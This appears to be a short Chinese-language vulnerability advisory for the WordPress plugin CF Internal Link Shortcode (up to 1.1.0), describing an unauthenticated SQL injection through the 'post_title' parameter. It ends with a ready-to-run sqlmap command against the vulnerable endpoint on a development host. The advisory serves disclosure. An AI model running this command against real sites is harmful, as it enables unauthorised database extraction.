CF Internal Link Shortcode <= 1.1.0 - 未认证 SQL 注入
WordPress 的 CF Internal Link Shortcode 插件在包括 1.1.0 在内的所有版本中，由于对用户提供的参数转义不足，且现有 SQL 查询缺乏充分的预处理，容易通过 'post_title' 参数受到 SQL 注入攻击。这使得未经认证的攻击者能够将额外的 SQL 查询附加到已有查询中，从而从数据库中提取敏感信息。
python3 /tools/sqlmap/sqlmap.py -u 'https://wp-dev.ddev.site:443/?cf_action=cfplsc_id_lookup&post_title=test' --text-only --dbms='MySQL ' -p post_title
